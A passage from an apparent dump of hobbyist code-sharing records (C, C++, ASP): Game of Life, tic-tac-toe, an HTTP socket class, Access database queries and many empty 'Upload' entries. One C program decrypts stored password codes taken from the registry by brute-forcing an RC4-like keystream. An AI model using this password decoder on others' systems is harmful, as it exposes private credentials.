newmap into map.\nPre: The grid newmap has the current Life configuration.\nPost: The grid map has a copy of newmap.\n */\nvoid CopyMap(Grid map, Grid newmap)\n{\n int col;\n for (col = 0; col <= MAXCOL + 1; col++)\n map[col] = newmap[col];\n}\n/* UserSaysYes: TRUE if execution is to continue.\nPre: None.\nPost: determines if user wants to get another generation of cells.\n */\nvoid UserSaysYes(Grid map,Grid newmap)\n{\n char c;\n \n do \n {\n fscanf(inputs, \"%c\", &c );\n if (c!= 10 )\n\t{\n\tif (c != 'n')\n\t {\n\t NextGeneration(map,newmap);\n\t CopyMap(map, newmap);\n\t WriteMap(map);\n\t\tfprintf(outputs,\"Do you wish to continue viewing \"\n\t\t\"the new generations[]\");\n\t}\n\t}\n\telse\n\t c='y';\n }\n \n while (c == 'y' || c == 'Y');\n}\n/* NextGeneration\nPre: None\nPost: Calculates the cells in the next generation.\n*/\nvoid NextGeneration(Grid map, Grid newmap)\n{\n int col;\n \n for (col = 1; col <= MAXCOL; col++)\n\t \n switch(NeighborCount(map, col)) \n\t{\n case 0:\n case 1:\n\t newmap[col]= DEAD;\n break;\n case 2:\n newmap[col]= ALIVE;\n break;\n case 3:\n\t if (map[col] == ALIVE)\n\t newmap[col]=DEAD;\n\t else\n\t\tnewmap[col]= ALIVE;\n\t break;\n case 4:\n\t if (map[col] == ALIVE)\n\t\tnewmap[col]=ALIVE;\n\t else\n\t\tnewmap[col]= DEAD;\n break;\n }\n}\n"},{"WorldId":3,"id":10,"LineNumber":1,"line":"void OpenURL(void) \n{\n(32 >= (int)ShellExecute(NULL, \"open\", \"http://www.socketware.net\", NULL, NULL, SW_SHOWNORMAL));\n}\n// Very Simple : I can't think of anything usefull to post right now."},{"WorldId":3,"id":134,"LineNumber":1,"line":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\nunsigned char matrix[256+2];\nunsigned char matgut[256+2];\nunsigned char mystery[4]={ 0xb2, 0xdc, 0x90, 0x8f };\nunsigned char h1;\nunsigned char pa[79], passwd[80];\nunsigned char tofind[30];\nint h2=4;\nunsigned int lentofind;\nint len;\nvoid fixmatrix()\n{\n\t unsigned char orig, mys, help1, last;\n int i,j, help2;\n\t for(i=0; i<256; i++)\n\t\t matrix[i]=i;\n\t matrix[256]=0; matrix[256+1]=0;\n\t h1=0; last=0;\n\t for(j=0;j<256;j++) {\n\t\t orig=matrix[j];\n\t\t mys=mystery[h1];\n\t\t help2=(mys+last+matrix[j]) & 0xff;\n\t\t help1=matrix[help2];\n\t\t matrix[j]=help1;\n\t\t matrix[help2]=orig;\n\t\t last=help2;\n\t\t h1++; h1=h1%4;\n\t }\n\t memcpy(matgut, matrix, sizeof(matrix));\n}\nvoid check(char *test)\n{\n\t unsigned char help1, oldh2;\n\t int i;\n\t strcpy(passwd, test);\n\t strcpy(pa, passwd);\n\t len=strlen(pa);\n\t memcpy(matrix, matgut, sizeof(matrix));\n\t h1=0; h2=0;\n\t for(i=0;i<len;i++)\n\t {\n\t\t h1++; h1=h1&0xff;\n\t\t oldh2=matrix[h1];\n\t\t h2=(h2+matrix[h1]) & 0xff;\n\t\t help1=matrix[h1];\n\t\t matrix[h1]=matrix[h2];\n\t\t matrix[h2]=help1;\n\t\t help1=(matrix[h1]+oldh2) & 0xff;\n\t\t help1=matrix[help1];\n\t\t pa[i]^=help1;\n\t }\n}\nint is_ok(char a)\n{\n\t if ((a<='9') && (a>='0'))\n\t\t return 1;\n\t else if ((a<='F') && (a>='A'))\n\t\t return 1;\n\t else\n\t\t return 0;\n}\nint nibble(char c)\n{\n\t if((c>='A') && (c<='F'))\n\t\t return (10+c-'A');\n\t else if((c>='0') && (c<='9'))\n\t\t return (c-'0');\n}\nvoid parse(char *inpt)\n{\n\t char *tok;\n\t char num[2];\n\t lentofind=0;\n\t tok=strtok(inpt, \"\\t ,\\n\");\n\t while(tok!=NULL) {\n\t\t num[0]=tok[0]; num[1]=tok[1];\n\t\t if ((!is_ok(num[0])) || (!is_ok(num[1])))\n\t\t {\n\t\t\t\tputs(\"Please input strings like: b2,a1,03\");\n\t\t\t\texit(0);\n\t\t }\n\t\t tofind[lentofind++]=16*nibble(num[0])+nibble(num[1]);\n\t\t tok=strtok(NULL, \"\\t ,\\n\");\n\t }\n\t tofind[lentofind]=0;\n}\nint hex(char *str)\n{\n\treturn (str[0]-'0')*16+(str[1]-'0');\n}\nvoid main()\n{\n\t unsigned int i;\n\t int j,n=0,odd=0;\n\t unsigned char tst[80];\n\t char inpt[120];\n\t char ascii[120];\n\t char temp[3];\n\t char ans;\n\t fixmatrix();\n\t printf(\"All ascii codes are from der RegEdit and hex codes are from ein text editor\\n\\n\");\n\t do\n\t {\n\t\t printf(\"Are der codes hex or ascii [h/a]?\");\n\t\t ans = getchar();\n\t\t getchar();\n\t } while(tolower(ans) != 'h' && tolower(ans) != 'a');\n\t tolower(ans) == 'a';\n\t if(tolower(ans) == 'a')\n\t {\n\t\t printf(\"Give me the codes, separated by commas (in ascii):\\n >\");\n\t\t gets(ascii);\n i=0;\n do\n {\n\t\t\t temp[0]=ascii[i];\n temp[1]=ascii[i+1];\n temp[2]=NULL;\n inpt[n]=hex(temp);\n\t\t\t n++;\n odd++;\n if(odd % 2 == 0 && i+3<=strlen(ascii))\n {\n\t\t\t\t inpt[n]=',';\n n++;\n }\n i+=3;\n\t\t }while(i<=strlen(ascii));\n inpt[n]=NULL;\n\t\t printf(\"Der hex codes fur der password are: %s\\n\", inpt);\n\t }\n\t else\n\t {\n\t\t printf(\"What are der codes, separated by commas, in hex?:\\n >\");\n\t\t gets(inpt);\n\t }\n\t for(i=0;i<strlen(inpt);i++)\n\t\t inpt[i]=toupper(inpt[i]);\n\t parse(inpt);\n\t for(i=0; i<lentofind; i++)\n\t\t tst[i]='A';\n\t tst[lentofind]=0;\n\t for(i=0; i<lentofind; i++)\n\t {\n\t\t for(j=' '; j<='Z'; j++)\n\t\t {\n\t\t\t\ttst[i]=j;\n\t\t\t\tcheck(tst);\n\t\t\t\tif(pa[i]==tofind[i])\n\t\t\t\t\t break;\n\t\t }\n\t }\n\t printf(\"Password is: %s\\n\", tst);\n\t exit(0);\n\t }"},{"WorldId":3,"id":270,"LineNumber":1,"line":"//Download full source code from:\n// http://www.tair.freeservers.com/\n#include <stdio.h>\n#include \"httpsocket.h\"\n/************************************************************************\nSample derived class\n************************************************************************/\nclass CMySock : public CHTTPSocket\n{\nchar szErrMessage[255];\npublic:\n\tvoid OnError();\n\tvoid OnResponse(); \n};\n//error trigger\nvoid CMySock::OnError()\n{\n\twsprintf(szErrMessage,\"Error: %d, %d, %s\",m_nErrCode,m_nExtErrCode,m_nErrInfo);\n\tMessageBox(NULL,szErrMessage,\"Error\",MB_OK);\n\tCHTTPSocket::OnError();\n};\n\n//response trigger\nvoid CMySock::OnResponse()\n{\n printf(\"----m_ulResponseSize=%d\\r\\n\",m_ulResponseSize);\n printf(\"%s\\r\\n\",(char *)m_szResponse);\n CHTTPSocket::OnResponse();\n};\n//-----------------------------------------------------------------------\n//call style:\n//-----------------------------------------------------------------------\n// dts.exe /URL http://www.yahoo.com [/PRX 127.0.0.1] [/PRT 8080]\n//-----------------------------------------------------------------------\n// where /URL - U see\n// /PRX - proxy's internet address\n// /PRT - proxy's port\n//-----------------------------------------------------------------------\n// You must have KERNEL32.DLL, USER32.DLL and WS2_32.DLL installed.\n//-----------------------------------------------------------------------\n/************************************************************************\nmain. entry point for service\n************************************************************************/\nvoid main(int argc,char* argv[])\n{\n\tCMySock cs;\n\tcs.m_bUseProxy=FALSE;\n\tint i=0;\n\tchar* page=NULL;\n\tchar* serverHost=NULL;\n\tchar* serverPort=NULL;\n\t\twhile(i<argc)\n\t{\n\t\tif (strcmp(argv[i],\"/URL\")==0)\n\t\t{\n\t\t\tif (argv[++i]!=NULL)\n\t\t\t page=argv[i];\n\t\t\telse\n\t\t\t page=NULL;\n\t\t}\n\t\tif (strcmp(argv[i],\"/PRX\")==0)\n\t\t{\n\t\t\tif (argv[++i]!=NULL)\n\t\t\t serverHost=argv[i];\n\t\t\telse\n\t\t\t serverHost=NULL;\n\t\t}\n\t\tif (strcmp(argv[i],\"/PRT\")==0)\n\t\t{\n\t\t\tif (argv[++i]!=NULL)\n\t\t\t serverPort=argv[i];\n\t\t\telse\n\t\t\t serverPort=NULL;\n\t\t}\n i++;\n\t}\n\tif (page==NULL)\n\t{\n\t\tcs.ThrowError(0,0,\"Please specify URL to fetch!\");\n\t\treturn;\n\t}\n\tif (serverHost!=NULL)\n\t{\n\t\t//sets proxy server's internet address\n\t\tcs.SetServerHost((const char*)serverHost);\n\t i=0;\n\t\tif(serverPort!=NULL)\n\t\t i=atoi(serverPort);\n\t if (i==0)\n\t\t i=8080;\n\t\t//sets proxy server's port number (8080 by default)\n\t\tcs.m_nServerPort=i;\n\t\t//says use proxy to CHTTPSocket derived class\n\t cs.m_bUseProxy=TRUE;\n\t}\n\n printf(\"URL to fetch: %s\\r\\n\",page);\n\tprintf(\"Use proxy %s\\r\\n\",serverHost);\n printf(\"Port for proxy %d\\r\\n\",i);\n\n\t//page request here\n\tcs.Request(page);\n}\n\nand CHTTPSocket interface:\n/************************************************************************\nclicksocket.h\n************************************************************************/\n#ifndef __HTTPSOCKET__H__\n#define __HTTPSOCKET__H__\n\n#include <windows.h>\n//rem next line if no debug dump wanted \n#define DEBON\n#include <stdio.h>\n//default send and recieve timeouts in sec\n#define HTTPRTIMEOUTDEF 90000\n#define HTTPSTIMEOUTDEF 90000\n#define MAXHOSTLENGTH 65\n#define MAXIPLENGTH 16\n#define MAXBLOCKSIZE 1024\n#define MAXURLLENGTH 255\n#define MAXHEADERLENGTH 269\n//primary error codes\n#define ERR_OK 0\n//if this error occurs, extended code is WSA's error code\n#define ERR_WSAINTERNAL 1\n#define ERR_URLNOTHING 2\n#define ERR_URLTOOLONG 3\n#define ERR_HOSTUNKNOWN 4\n#define ERR_PROXYUNKNOWN 5\n#define ERR_PROTOPARSE 6\n#define ERR_BADHOST 7\n#define ERR_BADPORT 8\n\nclass CHTTPSocket\n{\n static int nInstanceCount;\nSOCKET sckHTTPSocket;\nstruct sockaddr_in sinHTTPSocket;\nstruct sockaddr_in sinHTTPServer;\n// remote server host address, size 64 bytes, 65th set to \\0\n\t char m_szServerHost[MAXHOSTLENGTH];\n// host\n\t char m_szHost[MAXHOSTLENGTH];\n// requested URI/URL\n\t char m_szURL[MAXURLLENGTH];\n// remote server IP address, size 15 bytes, 16th set to \\0\n\t char m_szServerHostIP[MAXIPLENGTH];\n//-- Win32 specific\nWSADATA wsaData;\nvoid szcopy(char* dest,const char* src,int nMaxBytes);\nvoid szsent(SOCKET sckDest,const char* szHttp);\npublic:\n// set to TRUE in InitInstance if TIME_WAIT not need ()\n BOOL m_bNoTimeWait;\n// recieve timeout change in InitInstance\n int m_nRecvTimeout;\n// send timeout change in InitInstance\n int m_nSendTimeout;\n// remote server port\n\t int m_nServerPort;\n// use proxy flag\n BOOL m_bUseProxy;\n// error code\n\t int m_nErrCode;\n// extended error code;\n\t int m_nExtErrCode;\n// error info\n\t char m_nErrInfo[255];\n// response content\n\t LPVOID m_szResponse;\n// response size\n\t ULONG m_ulResponseSize;\npublic:\n //const/destr\n CHTTPSocket();\n virtual ~CHTTPSocket();\n \n //utils\n // sets proxy or http server's host\n void SetServerHost(const char* src);\n // sets proxy or http server's ip \n //(should be skipped if SetServerHost used)\n void SetServerHostIP(const char* src);\n //starts request transaction\n void Request(const char* url=\"http://www.tair.freeservers.com\");\n //used for free memory allocated for page\n //(should be skipped if You use CHTTPSocket::OnResponse call in OnResponse)\n void memPostup();\n //fire your OnError with specific error cdes and message\n void ThrowError(int err, int xerr, const char* errdesc);\n \n //overridable\n \n //shoul be used for additional inits\n virtual BOOL InitInstance();\n \n //trigger on any transaction error \n //(its great if U will call CHTTPSocket::OnError inside,\n //to free allocated memory pages)\n virtual void OnError();\n \n //trigger on response recieved\n //(its great if U will call CHTTPSocket::OnResponse inside,\n //to free allocated memory pages)\n virtual void OnResponse();\n};\n#endif\n"},{"WorldId":3,"id":277,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":6127,"LineNumber":1,"line":"'Create new Access Database, C:\\test.mdb \n'\n'Create table: \n'TestTable \n'-------------------- \n'id autonumber \n'field1 text len=50 \n'field2 number \n'-------------------- \n'\n'CreateFour queries: \n'Query1: DeleteQuery, Type:Delete \n'-------------------------------- \n'DELETE [testTable].[field1], [testTable].[field2] \n'FROM testTable \n'WHERE id=[:param1]; \n'-------------------------------- \n'Query2: InsertQuery, Type:Insert \n'-------------------------------- \n'INSERT INTO testTable ( field1, field2 ) \n'VALUES ([:param1], [:param2]); \n'-------------------------------- \n'Query3: SelectByid, Type:Normal \n'-------------------------------- \n'SELECT [testTable].[field1], [testTable].[field2], [testTable].[id] \n'FROM testTable \n'WHERE ((([testTable].[id])>=[:param1] And ([testTable].[id])<=[:param2])); \n'------------------------------- \n'Query4: UpdateByid, Type:Update \n'-------------------------------- \n'UPDATE testTable SET field1 = [:param1], field2 = [:param2] \n'WHERE id=[:param3]; \n'Calls: \n'accessTest.asp?defMode=0 - for test select \n'\n'accessTest.asp?defMode=1 - for test insert \n'\n'accessTest.asp?defMode=2 - for test delete \n'\n'accessTest.asp?defMode=3 - for test update \n'\n'\n'Here is accessTest.asp. \n'--------------------------------------- \n \n<% \n'for one query we give max 60sec \nexecTimeout=60 \n'we have 1 query will be executed \nexecCount=1 \n'max +5 sec for script to execute \nServer.ScriptTimeout=execCount*execTimeout+5 \n'connection parameters \ndbPath=\"DBQ=C:\\Test.mdb;\" \nuserData=\"UID=;PWD=\" \nconn_string=\"PROVIDER=MSDASQL;\" & _ \n \"DRIVER={Microsoft Access Driver (*.mdb)};\" &_ \n dbPath &_ \n userData \n'connection object\nSet connObj=Server.CreateObject(\"ADODB.Connection\") \n'make connection\nconnObj.Open conn_string \n'command object\nSet commandObj=Server.CreateObject(\"ADODB.Command\") \ncommandObj.ActiveConnection=connObj \ncommandObj.CommandTimeout=execTimeout \ncommandObj.CommandType=adCmdStoredProc \nSelect Case request(\"defMode\") \n'test Select \ncase \"0\" \n'------------------------------------------------------------------------ \n'our select query is \n'Name: SelectByid \ncommandObj.CommandText=\"SelectByid\" \n' \n'SELECT testTable.field1, testTable.field2, testTable.id \n'FROM testTable \n'WHERE (((testTable.id)=>:param1)) and (((testTable.id)<=:param2)); \n'create parameters for query \ncommandObj.Parameters.Append commandObj.CreateParameter(\"param1\", _ \n adInteger, _ \n adParamInput, _ \n 10, _ \n 1) \ncommandObj.Parameters.Append commandObj.CreateParameter(\"param2\", _ \n adInteger, _ \n adParamInput, _ \n 10, _ \n 100) \n'create recordset object \nSet rsObj=Server.CreateObject(\"ADODB.Recordset\") \nrsObj.CursorType=1 'forwardonly \n'run query \nrsObj.Open commandObj \nresponse.write(\"<TABLE>\") \nresponse.write(\"<TR><TD>ID</TD><TD>Field1</TD><TD>Field2</TD></TR>\") \nIf not(rsObj.EOF) then \n Do While Not(rsObj.EOF) \n response.write(\"<TR><TD>\") \n response.write(rsObj(\"id\")) \n response.write(\"<TD>\") \n response.write(rsObj(\"field1\")) \n response.write(\"</TD><TD>\") \n response.write(rsObj(\"field2\")) \n response.write(\"</TD></TR>\") \n rsObj.MoveNext \n Loop \n 'close recordset \n rsObj.Close \nEnd if \nresponse.write(\"</TABLE>\") \n'deallocate rs object \nSet rsObj=Nothing \n'delete allocated parameters \ncommandObj.Parameters.Delete \"param2\" \ncommandObj.Parameters.Delete \"param1\" \n'------------------------------------------------------------------------ \n'test Insert \ncase \"1\" \n'------------------------------------------------------------------------ \n'Name: Insert \ncommandObj.CommandText=\"InsertQuery\" \n'INSERT INTO testTable ( field1, field2 ) \n'VALUES ([:param1], [:param2]); \ncommandObj.Parameters.Append commandObj.CreateParameter(\":param1\", _ \n adVarchar, _ \n adParamInput, _ \n 50, _ \n \"1\") \ncommandObj.Parameters.Append commandObj.CreateParameter(\":param2\", _ \n adInteger, _ \n adParamInput, _ \n 10, _ \n 2) \ni=0 \nDo While i<5 \n commandObj(\":param1\")=chr(65+i) \n commandObj(\":param2\")=(65+i) \n commandObj.Execute \n i=i+1 \nLoop \n'delete allocated parameters \ncommandObj.Parameters.Delete \":param2\" \ncommandObj.Parameters.Delete \":param1\" \n'------------------------------------------------------------------------ \n'test Delete \ncase \"2\" \n'------------------------------------------------------------------------ \n'Name: DeleteQuery \ncommandObj.CommandText=\"DeleteQuery\" \n'DELETE FROM testTable \n'WHERE id=[:param1]; \ncommandObj.Parameters.Append commandObj.CreateParameter(\":param1\", _ \n adInteger, _ \n adParamInput, _ \n 10, _ \n \"1\") \ni=0 \nDo While i<5 \n '!!!id can be different!!!\n commandObj(\":param1\")=14 \n commandObj.Execute \n i=i+1 \nLoop \n'delete allocated parameters \ncommandObj.Parameters.Delete \":param1\" \n'------------------------------------------------------------------------ \n'test Update \ncase \"3\" \n'------------------------------------------------------------------------ \n'Name: UpdateByid \ncommandObj.CommandText=\"UpdateByid\" \n'UPDATE testTable SET field1 = [:param1], field2 = [:param2] \n'WHERE id=[:param3]; \ncommandObj.Parameters.Append commandObj.CreateParameter(\":param1\", _ \n adVarchar, _ \n adParamInput, _ \n 50, _ \n \"Z\") \ncommandObj.Parameters.Append commandObj.CreateParameter(\":param2\", _ \n adInteger, _ \n adParamInput, _ \n 10, _ \n 0) \ncommandObj.Parameters.Append commandObj.CreateParameter(\":param3\", _ \n adInteger, _ \n adParamInput, _ \n 10, _ \n 0) \ni=0 \nDo While i<5 \n commandObj(\":param1\")=\"14\" \n commandObj(\":param2\")=14 \n '!!!id can be different!!!\n commandObj(\":param3\")=15 \n commandObj.Execute \n i=i+1 \nLoop \n'delete allocated parameters \ncommandObj.Parameters.Delete \":param3\" \ncommandObj.Parameters.Delete \":param2\" \ncommandObj.Parameters.Delete \":param1\" \n'------------------------------------------------------------------------ \nEnd Select \n'deallocate commandObj \nSet commandObj=Nothing \n'close connection \nconnObj.Close \n'deallocate connection object \nSet connObj=Nothing \nresponse.end\n%> \n'--------------------------------------"},{"WorldId":3,"id":251,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":255,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":142,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":149,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":157,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":159,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":174,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":180,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":184,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":137,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":146,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":143,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":148,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":158,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":185,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":233,"LineNumber":1,"line":"/* strrtrim : removes trailing spaces from the end of a string*/\nstatic char* strrtrim( char* s)\n{\n int i;\n if (s) {\n i = strlen(s); while ((--i)>0 && isspace(s[i]) ) s[i]=0;\n }\n return s;\n}"},{"WorldId":3,"id":235,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":236,"LineNumber":1,"line":"/***************************************************************************\n * *\n * **** **** **** **** **** * * * *\n * * * * * * * * * * * * * * * * * *\n * **** **** * * * **** * * * * * * *\n * * * * * * * *** * * ******* * * * * *\n * * * * * * * * * * * * * * * *\n * * * * **** **** * * * * * * *\n *\t\t\t\t\t\t\t \t\t\t\t\t\t *\n ***************************************************************************\n * Program Name: *\t Tic Tac Toe \t\t \t *\n ***************************************************************************\n *\tFile Name:\t * TIC TAC TOE.CPP *\n ***************************************************************************\n * Version: * 1.0 *\n ***************************************************************************\n * Date: * 12/29/998 *\n ***************************************************************************\n *\tAuthor:\t\t * \tAndrew Williams *\n ***************************************************************************\n *\tDescription * Tic tac toe, yet another copy of the ever popular *\n *\t\t\t\t * game *\n * of * *\n * * *\n * Program * *\n ***************************************************************************/\n/*=*=*=*=*=*=*=*=*=*=*=*=*=*=Include Directives*=*=*=*=*=*=*=*=*==*=*=*=*=*/\n#include <iostream.h>\n#include <string.h>\n#include <iomanip.h>\n#include <time.h>\n#include <time.h> // for time in the random numbers\n/*=*=*=*=*=*=*=*==*=*=*=*=*=*ProtoTypes*=*=*=*=*=*=*=*=*=*=*=*==*=*=*=*=*=*/\nvoid init_mm( );\nint number_range( int from, int to );\nint number_mm( void );\nvoid Print_Board();\ntypedef int CON;\nCON Check_Won();\nvoid Computers_Turn();\n#define FALSE 0\n#define TRUE 1\n#define CAT 2\n#define X_WON 3\n#define O_WON 4\n/*=*=*=*=*=*=*=*==*=*=*=*=*=*Constants*=*=*=*=*=*=*=*=*=*=*=*==*=*=*=*=*=*/\nconst int X = 1;\nconst int O = 2;\n/*=*=*=*=*=*=*=*==*=*=*=*=*=*Global Variables*=*=*=*=*=*=*=*=*=*=*=*=*=*=*/\nchar The[4];\nint x = 0, y = 0;\nint Board[4][4] = { 0,0,0,0,\n 0,0,0,0,\n\t\t\t\t\t0,0,0,0,\n\t\t\t\t\t0,0,0,0\n\t\t\t\t\t};\n/*=*=*=*=*=*=*=*==*=*=*=*=*=*Main Function=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*/\nvoid main()\n{\n\tinit_mm();\ncout << \"Welcome to Super Ultra Quazy Stellar Tic Tac Toe!\\n\"\t\t\t<<\n\t\t\"The Board is Numbered like this:\\n\"\t\t\t\t\t\t\t<< \n\t\t\" 0 1 2 \\n\" <<\n\t\t\" \\n\" <<\n\t\t\" | | \\n\" <<\n\t\t\" 0 0,0|0,1|0,2 \\n\"\t\t\t\t\t\t\t\t\t\t<<\n\t\t\" -------------- \\n\" <<\n\t\t\" 1 1,0|1,1|1,2 \\n\"\t\t\t\t\t\t\t \t\t<<\n\t\t\" -------------- \\n\"\t\t\t\t\t\t\t\t\t\t<<\n\t\t\" 2 2,0|2,1|2,2 \\n\"\t\t\t\t\t\t\t\t\t\t<<\n\t\t\" | | \\n\"\t\t\t\t\t\t\t\t\t\t<<\n\t\t\"Press [Return] to Play\\n\" ;\ncin.get(The, 4);\ncin.ignore(80, '\\n');\n\t\n\twhile ( y != -1111 )\n\t{\n\t\tx = 0;\n\t\ty = 0;\n\t\t\n\t\tPrint_Board();\n\t\tcout << \"Enter the row number: \";\n\t\tcin >> x;\n\t\tcout << \"\\nEnter the column number: \";\n\t\tcin >> y;\n\t\tBoard[x][y] = X;\n\t\tif( Check_Won() == CAT)\n\t\t{\n\t\t\tcout << \"Cats Game!\\n\";\n\t\t\tPrint_Board();\n\t\t\treturn;\n\t\t}\n\t\tif( Check_Won() == X_WON)\n\t\t{\n\t\t\tcout << \"You Won!\\n\";\n\t\t\tPrint_Board();\n\t\t\treturn;\n\t\t}\n\t\tif( Check_Won() == O_WON)\n\t\t{\n\t\t\tcout << \"I Won!\\n\";\n\t\t\tPrint_Board();\n\t\t\treturn;\n\t\t}\n\t\tComputers_Turn();\n\t\tif( Check_Won() == CAT)\n\t\t{\n\t\t\tcout << \"Cats Game!\\n\";\n\t\t\tPrint_Board();\n\t\t\treturn;\n\t\t}\n\t\tif( Check_Won() == X_WON)\n\t\t{\n\t\t\tcout << \"You Won!\\n\";\n\t\t\tPrint_Board();\n\t\t\treturn;\n\t\t}\n\t\tif( Check_Won() == O_WON)\n\t\t{\n\t\t\tcout << \"I Won!\\n\";\n\t\t\tPrint_Board();\n\t\t\treturn;\n\t\t}\n\t\n\t}\n}\nvoid Print_Board()\n{\n// some space\ncout << '\\n' << setw(5) << \" \" << setw(5) << \"|\" << setw(5) << \" \" << setw(5) << \"|\" << setw(5) << \" \" << setw(5) << \"\\n\";\n//First Square first row\nif(Board[0][0] == X)\n{\n\tcout << setw(5) << \"X\" << setw(5) << \"|\";\n}\nelse if (Board[0][0] == O)\n{\n\tcout << setw(5) << \"O\" << setw(5) << \"|\";\n}\nelse\n{\n\tcout << setw(5) << \" \" << setw(5) << \"|\";\n}\n//Second Square first row\nif(Board[0][1] == X)\n{\n\tcout << setw(5) << \"X\" << setw(5) << \"|\";\n}\nelse if (Board[0][1] == O)\n{\n\tcout << setw(5) << \"O\" << setw(5) << \"|\";\n}\nelse\n{\n\tcout << setw(5) << \" \" << setw(5) << \"|\";\n}\n//Third Square first row\nif(Board[0][2] == X)\n{\n\tcout << setw(5) << \"X\" << setw(5) << \"\\n\";\n}\nelse if (Board[0][2] == O)\n{\n\tcout << setw(5) << \"O\" << setw(5) << \"\\n\";\n}\nelse\n{\n\tcout << setw(5) << \" \" << setw(5) << \"\\n\";\n}\n// some space\ncout << setw(5) << \" \" << setw(5) << \"|\" << setw(5) << \" \" << setw(5) << \"|\" << setw(5) << \" \" << setw(5) << \"\\n\";\n//the horizontal line\ncout << \"______________________________\\n\";\n// some space\ncout << '\\n' << setw(5) << \" \" << setw(5) << \"|\" << setw(5) << \" \" << setw(5) << \"|\" << setw(5) << \" \" << setw(5) << \"\\n\";\n//First Square Second Row\nif(Board[1][0] == X)\n{\n\tcout << setw(5) << \"X\" << setw(5) << \"|\";\n}\nelse if (Board[1][0] == O)\n{\n\tcout << setw(5) << \"O\" << setw(5) << \"|\";\n}\nelse\n{\n\tcout << setw(5) << \" \" << setw(5) << \"|\";\n}\n//Second Square Second Row The \"Center\" if you will\nif(Board[1][1] == X)\n{\n\tcout << setw(5) << \"X\" << setw(5) << \"|\";\n}\nelse if (Board[1][1] == O)\n{\n\tcout << setw(5) << \"O\" << setw(5) << \"|\";\n}\nelse\n{\n\tcout << setw(5) << \" \" << setw(5) << \"|\";\n}\n//Third Square Second Row\nif(Board[1][2] == X)\n{\n\tcout << setw(5) << \"X\" << setw(5) << \"\\n\";\n}\nelse if (Board[1][2] == O)\n{\n\tcout << setw(5) << \"O\" << setw(5) << \"\\n\";\n}\nelse\n{\n\tcout << setw(5) << \" \" << setw(5) << \"\\n\";\n}\n// some space\ncout << setw(5) << \" \" << setw(5) << \"|\" << setw(5) << \" \" << setw(5) << \"|\" << setw(5) << \" \" << setw(5) << \"\\n\";\n//the horizontal line\ncout << \"______________________________\\n\";\n// some space\ncout << '\\n' << setw(5) << \" \" << setw(5) << \"|\" << setw(5) << \" \" << setw(5) << \"|\" << setw(5) << \" \" << setw(5) << \"\\n\";\n//First Square Third Row\nif(Board[2][0] == X)\n{\n\tcout << setw(5) << \"X\" << setw(5) << \"|\";\n}\nelse if (Board[2][0] == O)\n{\n\tcout << setw(5) << \"O\" << setw(5) << \"|\";\n}\nelse\n{\n\tcout << setw(5) << \" \" << setw(5) << \"|\";\n}\n//Second Square Third Row\nif(Board[2][1] == X)\n{\n\tcout << setw(5) << \"X\" << setw(5) << \"|\";\n}\nelse if (Board[2][1] == O)\n{\n\tcout << setw(5) << \"O\" << setw(5) << \"|\";\n}\nelse\n{\n\tcout << setw(5) << \" \" << setw(5) << \"|\";\n}\n//Third Square Third Row\nif(Board[2][2] == X)\n{\n\tcout << setw(5) << \"X\" << setw(5) << \"\\n\";\n}\nelse if (Board[2][2] == O)\n{\n\tcout << setw(5) << \"O\" << setw(5) << \"\\n\";\n}\nelse\n{\n\tcout << setw(5) << \" \" << setw(5) << \"\\n\";\n}\n// some space\ncout << setw(5) << \" \" << setw(5) << \"|\" << setw(5) << \" \" << setw(5) << \"|\" << setw(5) << \" \" << setw(5) << \"\\n\\n\";\n}\n\nCON Check_Won()\n{\n\t// Across\n\tif( ( Board[0][0] == X && Board[0][1] == X && Board[0][2] == X ) ||\n\t\t( Board[1][0] == X && Board[1][1] == X && Board[1][2] == X ) ||\n\t\t( Board[2][0] == X && Board[2][1] == X && Board[2][2] == X ) ||\n\t//Down\n\t\t( Board[0][0] == X && Board[1][0] == X && Board[2][0] == X ) ||\n\t\t( Board[0][1] == X && Board[1][1] == X && Board[2][1] == X ) ||\n\t\t( Board[0][2] == X && Board[1][2] == X && Board[2][2] == X ) ||\n\t//Diag\n\t\t( Board[0][0] == X && Board[1][1] == X && Board[2][2] == X ) ||\n\t\t( Board[0][2] == X && Board[1][1] == X && Board[2][0] == X ) )\n\t\treturn X_WON;\n\t// Across\n\tif( \n\t\t( Board[0][0] == O && Board[0][1] == O && Board[0][2] == O) ||\n\t\t( Board[1][0] == O && Board[1][1] == O && Board[1][2] == O) ||\n\t\t( Board[2][0] == O && Board[2][1] == O && Board[2][2] == O) ||\n\t//Down\n\t\t( Board[0][0] == O && Board[1][0] == O && Board[2][0] == O) ||\n\t\t( Board[0][1] == O && Board[1][1] == O && Board[2][2] == O) ||\n\t\t( Board[0][2] == O && Board[1][2] == O && Board[2][2] == O) ||\n\t//Diag\n\t\t( Board[0][0] == O && Board[1][1] == O && Board[2][2] == O) ||\n\t\t( Board[0][2] == O && Board[1][1] == O && Board[2][0] == O) \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\treturn O_WON;\n\n\tif( Board[0][0] != 0 && Board[0][1] != 0 && Board[0][2] != 0 &&\n\t\tBoard[1][0] != 0 && Board[1][1] != 0 && Board[1][2] != 0 &&\n\t\tBoard[2][0] != 0 && Board[2][1] != 0 && Board[2][2] != 0 )\n\t\treturn CAT;\n\t\n\t\n\treturn FALSE;\n}\nvoid Computers_Turn()\n{\n//Can Computer Win now?\n\t//First Row\n\tif( Board[0][0] == O && Board[0][1] == O && Board[0][2] == 0)\n\t{\n\t\tBoard[0][2] = O; return;\n\t}\n\tif( Board[0][2] == O && Board[0][1] == O && Board[0][0] == 